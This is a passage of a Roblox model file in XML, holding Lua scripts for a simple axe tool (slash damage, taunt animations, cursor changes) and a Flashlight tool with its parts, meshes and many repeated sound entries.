&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4412">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=18
swingdamage=30
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.85)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.85)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.85)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.85)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


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			</Item>
		</Item>
		<Item class="Tool" referent="RBX4413">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>-0.5</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Flashlight</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126896554</url></Content>
				<string name="ToolTip">Flashlight</string>
			</Properties>
			<Item class="Part" referent="RBX4414">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>12.5329857</X>
						<Y>16.7919998</Y>
						<Z>29.3430004</Z>
						<R00>0.556379795</R00>
						<R01>0.302072465</R01>
						<R02>-0.774075985</R02>
						<R10>0.73712796</R10>
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						<R21>-0.919772744</R21>
						<R22>-0.0832709074</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
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					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>15.9782152</X>
						<Y>0.0081588421</Y>
						<Z>0.683497965</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.5</X>
						<Y>0.5</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX4415">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=115959318</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX4416">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=115955313</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.699999988</X>
							<Y>0.699999988</Y>
							<Z>0.699999988</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4417">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4418">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4419">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4420">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4421">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4422">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4423">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4424">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4425">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4426">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4427">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4428">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4429">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4430">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4431">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4432">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4433">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4434">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4435">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4436">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4437">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4438">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4439">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4440">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4441">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4442">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4443">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4444">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4445">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4446">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4447">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4448">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX4449">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>-0.664781094</R00>
							<R01>0.204992771</R01>
							<R02>-0.718361795</R02>
							<R10>-0.0262658671</R10>
							<R11>0.954605043</R11>
							<R12>0.296714246</R12>
							<R20>0.746576011</R20>
							<R21>0.2161185</R21>
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					<float name="Elasticity">0.5</float>
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						<float name="Angle">70</float>
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						<string name="Name">SpotLight</string>
						<float name="Range">32</float>
					</Properties>
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						<string name="Name">SpotLight2</string>
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				</Item>
			</Item>
			<Item class="StringValue" referent="RBX4495">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">RightSlash</string>
				</Properties>
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			<Item class="Script" referent="RBX4496">
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					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=10
swingdamage=20
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.33)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.33)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.33)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.33)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX4497">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4498">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4499">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4500">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=96559159</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4501">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=96559161</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
